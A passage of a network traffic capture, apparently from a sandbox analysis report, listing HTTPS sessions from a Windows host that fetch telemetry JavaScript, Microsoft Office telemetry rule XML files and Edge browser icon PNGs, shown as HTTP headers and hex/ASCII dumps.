2024-11-26 15:31:50 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 29 7b 76 61 72 20 65 3d 21 30 2c 6e 3d 21 30 2c 69 3d 21 30 2c 6f 3d 22 75 73 65 2d 63 6f 6c 6c 65 63 74 6f 72 2d 64 65 6c 74 61 22 2c 73 3d 21 31 3b 28 30 2c 72 2e 5a 29 28 74 2c 74 68 69 73 2c 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 2e 61 6c 6c 6f 77 52 65 71 75 65 73 74 53 65 6e 64 69 6e 67 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 65 7d 2c 74 2e 66 69 72 73 74 52 65 71 75 65 73 74 53 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 26 26 28 69 3d 21 31 2c 73 7c 7c 28 65 3d 21 31 29 29 7d 2c 74 2e 73 68 6f 75 6c 64 41 64 64 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6e 7d 2c 74 Data Ascii: 00004000=function(){function t(){var e=!0,n=!0,i=!0,o="use-collector-delta",s=!1;(0,r.Z)(t,this,(function(t){t.allowRequestSending=function(){return e},t.firstRequestSent=function(){i&&(i=!1,s\|\|(e=!1))},t.shouldAddClockSkewHeaders=function(){return n},t
2024-11-26 15:31:50 UTC	12	IN	Data Raw: 69 6f 6e 28 29 7b 44 3d 6e 75 0d 0a Data Ascii: ion(){D=nu
2024-11-26 15:31:50 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 6c 6c 2c 4b 28 30 3d 3d 3d 4d 3f 33 3a 31 2c 30 2c 31 29 2c 4d 2b 2b 2c 4d 25 3d 32 2c 47 28 29 7d 29 2c 65 29 3a 4d 3d 30 29 7d 66 75 6e 63 74 69 6f 6e 20 58 28 29 7b 6e 3d 6e 75 6c 6c 2c 78 3d 21 31 2c 43 3d 5b 5d 2c 6b 3d 6e 75 6c 6c 2c 53 3d 21 31 2c 24 3d 30 2c 54 3d 35 30 30 2c 4c 3d 30 2c 4f 3d 31 65 34 2c 49 3d 7b 7d 2c 45 3d 70 2c 44 3d 6e 75 6c 6c 2c 52 3d 6e 75 6c 6c 2c 46 3d 30 2c 4d 3d 30 2c 66 3d 6e 75 6c 6c 2c 4e 3d 7b 7d 2c 76 3d 76 6f 69 64 20 30 2c 6d 3d 30 2c 6a 3d 2d 31 2c 62 3d 6e 75 6c 6c 2c 5f 3d 21 30 2c 7a 3d 21 31 2c 71 3d 36 2c 55 3d 32 2c 79 3d 6e 75 6c 6c 2c 77 3d 64 74 28 29 2c 67 3d 6e 65 77 20 63 74 28 35 30 30 2c 32 2c 31 2c 7b 72 65 71 75 65 75 65 3a 6c 74 2c 73 65 6e 64 3a 62 74 2c 73 65 6e Data Ascii: 00004000ll,K(0===M?3:1,0,1),M++,M%=2,G()}),e):M=0)}function X(){n=null,x=!1,C=[],k=null,S=!1,$=0,T=500,L=0,O=1e4,I={},E=p,D=null,R=null,F=0,M=0,f=null,N={},v=void 0,m=0,j=-1,b=null,_=!0,z=!1,q=6,U=2,y=null,w=dt(),g=new ct(500,2,1,{requeue:lt,send:bt,sen
2024-11-26 15:31:50 UTC	12	IN	Data Raw: 7b 61 3d 74 7d 7d 29 29 7d 72 0d 0a Data Ascii: {a=t}}))}r
2024-11-26 15:31:51 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 65 74 75 72 6e 20 74 2e 63 6f 6f 6b 69 65 53 65 70 61 72 61 74 6f 72 3d 22 7c 22 2c 74 2e 75 73 65 72 43 6f 6f 6b 69 65 4e 61 6d 65 3d 22 61 69 5f 75 73 65 72 22 2c 74 2e 5f 73 74 61 74 69 63 49 6e 69 74 3d 76 6f 69 64 28 30 2c 73 2e 6c 5f 29 28 74 2e 70 72 6f 74 6f 74 79 70 65 2c 22 6c 6f 63 61 6c 49 64 22 2c 45 74 2c 44 74 29 2c 74 7d 28 29 2c 52 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 65 2e 70 6f 70 53 61 6d 70 6c 65 3d 31 30 30 2c 65 2e 65 76 65 6e 74 46 6c 61 67 73 3d 30 2c 74 2e 68 61 73 68 49 64 65 6e 74 69 66 69 65 72 73 26 26 28 65 2e 65 76 65 6e 74 46 6c 61 67 73 3d 31 30 34 38 35 37 36 7c 65 2e 65 76 65 6e 74 46 6c 61 67 73 29 2c 74 2e 64 72 6f 70 49 64 65 6e 74 69 66 69 65 72 73 Data Ascii: 00004000eturn t.cookieSeparator="\|",t.userCookieName="ai_user",t._staticInit=void(0,s.l_)(t.prototype,"localId",Et,Dt),t}(),Rt=function(t){var e=this;e.popSample=100,e.eventFlags=0,t.hashIdentifiers&&(e.eventFlags=1048576\|e.eventFlags),t.dropIdentifiers
2024-11-26 15:31:51 UTC	12	IN	Data Raw: 29 3d 3e 4d 61 74 68 2e 6d 69 0d 0a Data Ascii: )=>Math.mi

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.6	49890	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:50 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 15:31:51 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:50 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 3ccb05f8-401e-0016-1b69-3f53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T153150Z-174f7845968px8v7hC1EWR08ng0000000vug00000000kw8s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 15:31:51 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.6	49893	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:50 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 15:31:51 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:51 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: dce0685f-701e-001e-3f83-3ff5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T153151Z-174f7845968j6t2phC1EWRcfe80000000vqg00000000nyrz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 15:31:51 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.6	49897	13.107.246.40	443	8108	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:50 UTC	438	OUT	GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 15:31:51 UTC	536	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:51 GMT Content-Type: image/png Content-Length: 1579 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:08 GMT ETag: 0x8DBDCB5DE99522A x-ms-request-id: 4aa832c4-001e-0023-6091-3f07cc000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241126T153151Z-174f7845968cdxdrhC1EWRg0en0000000vfg00000000r58m Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-26 15:31:51 UTC	1579	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 c0 49 44 41 54 78 01 ed 58 4f 8b 5c 45 10 af 7a f3 66 66 15 c5 fd 00 42 66 f2 05 b2 22 c2 1e 54 d6 4f 90 15 c1 63 d8 e0 49 04 37 01 11 11 25 89 e0 d5 04 0f 1a f0 e0 e6 62 c4 cb 1e 44 50 21 b8 df 20 7b f0 4f 6e 1b 4f 8b 20 cc 7a 89 b3 ef 75 57 f9 ab ea 9e 37 cb 66 77 66 36 93 83 84 ad a4 d3 fd de eb 79 fd 7b bf fa 55 75 75 88 4e ed d4 9e 20 5b d9 dc ed 2d df de ed d1 63 34 a6 39 6c e5 fb c1 4a 54 39 2f 42 ab 22 d2 8b 91 54 a2 92 d4 91 63 90 6d 09 74 57 2a fd fc b7 77 9e df a6 47 b4 47 02 b8 f2 f3 60 29 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxXO\EzffBf"TOcI7%bDP! {OnO zuW7fwf6y{UuuN [-c49lJT9/B"TcmtW*wGG`)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.6	49898	13.107.246.40	443	8108	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:50 UTC	431	OUT	GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 15:31:51 UTC	543	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:51 GMT Content-Type: image/png Content-Length: 1966 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:31 GMT ETag: 0x8DBDCB5EC122A94 x-ms-request-id: b45380e2-b01e-0013-6191-3f5de6000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241126T153151Z-174f7845968xlwnmhC1EWR0sv80000000vcg00000000kteh Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-26 15:31:51 UTC	1966	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 43 49 44 41 54 78 01 ed 97 5b 68 5c 75 1e c7 7f ff 73 f9 9f 49 d2 49 4f da 98 b4 6a d7 d9 c5 16 bc b0 4e c1 bd c8 6e d8 99 07 1f 74 1f 9a e0 2a 15 77 d7 06 0b 82 0f d5 3c 54 10 1f 3a 41 d0 2a 8a 2d 55 29 68 4d 14 1f 6a d3 92 3c 28 58 45 92 fa d0 0a 82 8e 48 14 6a 6b 53 d0 b4 21 4d e7 cc 64 6e 67 ce cd ef ef 64 4e 48 ed c5 74 d2 e8 4b 7f c3 9f ff b9 cd 39 9f f3 fd ff 6e 87 e8 ba 2d cd c4 62 2f 1c 1a 1a 4a 29 8a b2 c9 f3 bc 44 10 04 3c c8 71 1c 0b fb 59 8c af 71 6e a4 b7 b7 d7 a2 6b 6c bf 0a 38 3c 3c fc Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaCIDATx[h\usIIOjNntw<T:A-U)hMj<(XEHjkS!MdngdNHtK9n-b/J)D<qYqnkl8<<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.6	49899	13.107.246.40	443	8108	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:50 UTC	433	OUT	GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 15:31:51 UTC	536	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:51 GMT Content-Type: image/png Content-Length: 1751 Connection: close Last-Modified: Tue, 17 Oct 2023 00:34:33 GMT ETag: 0x8DBCEA8D5AACC85 x-ms-request-id: ab62deda-d01e-0047-3391-3fb76c000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241126T153151Z-174f7845968cdxdrhC1EWRg0en0000000veg00000000tm1r Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-26 15:31:51 UTC	1751	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 06 6c 49 44 41 54 78 01 ed 98 4d 6c 54 55 14 c7 cf 9d ce b4 52 09 42 85 b8 40 ed f3 23 44 37 0a b8 32 71 01 71 a1 89 1b dc 08 3b ab 0b 64 87 b8 30 84 10 3a c3 c2 a5 1a 57 b8 52 16 26 6e 8c 10 3f 91 c5 a0 a2 21 0d d1 c6 18 63 34 9a 91 b8 c0 40 6c a1 ed cc 7b ef 7e 1c ff e7 de fb e6 4d 3f a0 1f d4 e8 a2 17 5e de eb ed 9b f7 7e f7 7f ce f9 9f 3b 25 5a 1b 6b e3 bf 1d 8a 56 71 d4 cf f2 2e 36 34 ca 44 bb d8 11 15 07 71 cf 19 ff 71 ad 08 3f 3b 4b 13 4e bb 3f 74 27 1f cf 3a d4 38 71 68 5d eb 5f 03 3c 76 86 9f c7 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAalIDATxMlTURB@#D72qq;d0:WR&n?!c4@l{~M?^~;%ZkVq.64Dqq?;KN?t':8qh]_<v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.6	49895	13.107.246.40	443	8108	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:50 UTC	433	OUT	GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 15:31:51 UTC	522	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:51 GMT Content-Type: image/png Content-Length: 1427 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:36 GMT ETag: 0x8DBDCB5EF021F8E x-ms-request-id: e356b228-901e-0004-0cad-3f9d85000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241126T153151Z-174f7845968kvnqxhC1EWRmf3g0000000eeg00000000a88k Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 15:31:51 UTC	1427	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 28 49 44 41 54 78 01 ed 57 cd 6b 24 45 14 7f af 67 86 c4 5d cd 8e 9b 05 d1 3d ec e8 1f 20 5e 3d 28 eb 41 04 41 44 10 3c 66 d1 53 92 d3 42 40 72 da 11 84 5c b3 7f 80 24 39 48 40 d4 8b 17 2f b2 e2 1f a0 1e 25 a7 01 11 16 17 35 1f f3 d1 dd d5 55 cf 57 df d5 d3 eb 4e 5a f0 22 53 a1 52 9d 57 5d ef fd de ef 7d 74 05 60 39 96 63 39 96 e3 3f 1d 08 ff 62 1c 1f 1f df e6 e5 9e 52 ea 15 5e fb bc 02 11 99 a9 9f f5 e4 41 52 4a 74 7b df f3 7a 77 7b 7b fb 67 68 39 5a 03 3c 3a 3a da 40 c4 43 0f ea 1f 56 3d 34 38 e2 89 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAa(IDATxWk$Eg]= ^=(AAD<fSB@r\$9H@/%5UWNZ"SRW]}t`9c9?bR^ARJt{zw{{gh9Z<::@CV=48

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.6	49896	13.107.246.40	443	8108	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:51 UTC	430	OUT	GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 15:31:51 UTC	543	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:51 GMT Content-Type: image/png Content-Length: 2008 Connection: close Last-Modified: Tue, 10 Oct 2023 17:24:26 GMT ETag: 0x8DBC9B5C0C17219 x-ms-request-id: 204c33f4-801e-0054-0391-3f828d000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241126T153151Z-174f7845968kvnqxhC1EWRmf3g0000000eb000000000p30t Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-26 15:31:51 UTC	2008	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 6d 49 44 41 54 78 01 ed 98 bf 6f 14 47 14 c7 df ec 9d 11 48 48 5c aa 94 de 74 74 18 45 a9 59 24 0a d2 24 54 91 a0 f1 39 44 24 45 24 ec 32 0d be 28 05 44 14 98 2a e9 7c 96 50 e4 26 32 11 2d 02 47 91 02 4d 64 a3 08 25 92 a5 70 fc 05 18 ff 38 df ed af 97 ef 77 76 66 bd 36 07 67 9b 58 69 18 69 34 b3 b3 bb b3 9f fb ce 7b 6f de 9c c8 bb f2 76 c5 c8 21 95 bf 66 35 4c 33 59 8a 33 6d e0 33 53 1f 7e 69 66 38 fe 74 56 c7 b2 54 1e 26 a9 34 f2 4c a6 3e fa ba 18 ff e3 96 36 7b 89 cc 6e f5 45 92 2c 9b f8 b8 55 6f 73 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAamIDATxoGHH\ttEY$$T9D$E$2(D*\|P&2-GMd%p8wvf6gXii4{ov!f5L3Y3m3S~if8tVT&4L>6{nE,Uos

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.6	49894	13.107.246.40	443	8108	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:51 UTC	422	OUT	GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 15:31:51 UTC	543	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:51 GMT Content-Type: image/png Content-Length: 2229 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:24 GMT ETag: 0x8DBD59359A9E77B x-ms-request-id: af3ad659-301e-0020-15e2-3f04cb000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241126T153151Z-174f7845968kdththC1EWRzvxn00000007wg00000000mrqz Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-26 15:31:51 UTC	2229	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 08 4a 49 44 41 54 78 01 ed 98 6d 88 5c 57 19 c7 9f e7 dc 7b 37 89 49 9a dd 6c 5e d6 96 c0 c4 36 a1 d5 2f 49 a1 92 22 ea 06 ac a4 41 21 05 41 2a e8 ee 16 a4 82 e0 26 62 a5 b5 92 99 f1 8b 2f 68 b3 fd 92 16 ad 64 fb 29 16 62 53 6d 68 17 15 b2 a2 ed 07 b1 6c a8 95 d6 97 74 36 a9 35 69 d2 90 dd 6d bb 9b 99 7b ce 79 fc 3f e7 dc d9 8d 99 24 b3 2f f9 d8 03 77 9e 7b ce dc b9 e7 77 ff cf cb 39 77 88 3e 6c 4b 6b 4c 37 a8 f5 ee 1d 2b a5 44 25 c2 47 9a d2 f8 c8 8f b6 8f d3 0d 68 4b 06 dc f1 8d df f7 ae cc ba cb 6c a8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaJIDATxm\W{7Il^6/I"A!A*&b/hd)bSmhlt65im{y?$/w{w9w>lKkL7+D%GhKl

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.6	49900	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:51 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 15:31:51 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:51 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 02827f85-001e-00ad-7091-3f554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T153151Z-174f7845968kvnqxhC1EWRmf3g0000000ef00000000088u4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 15:31:51 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data 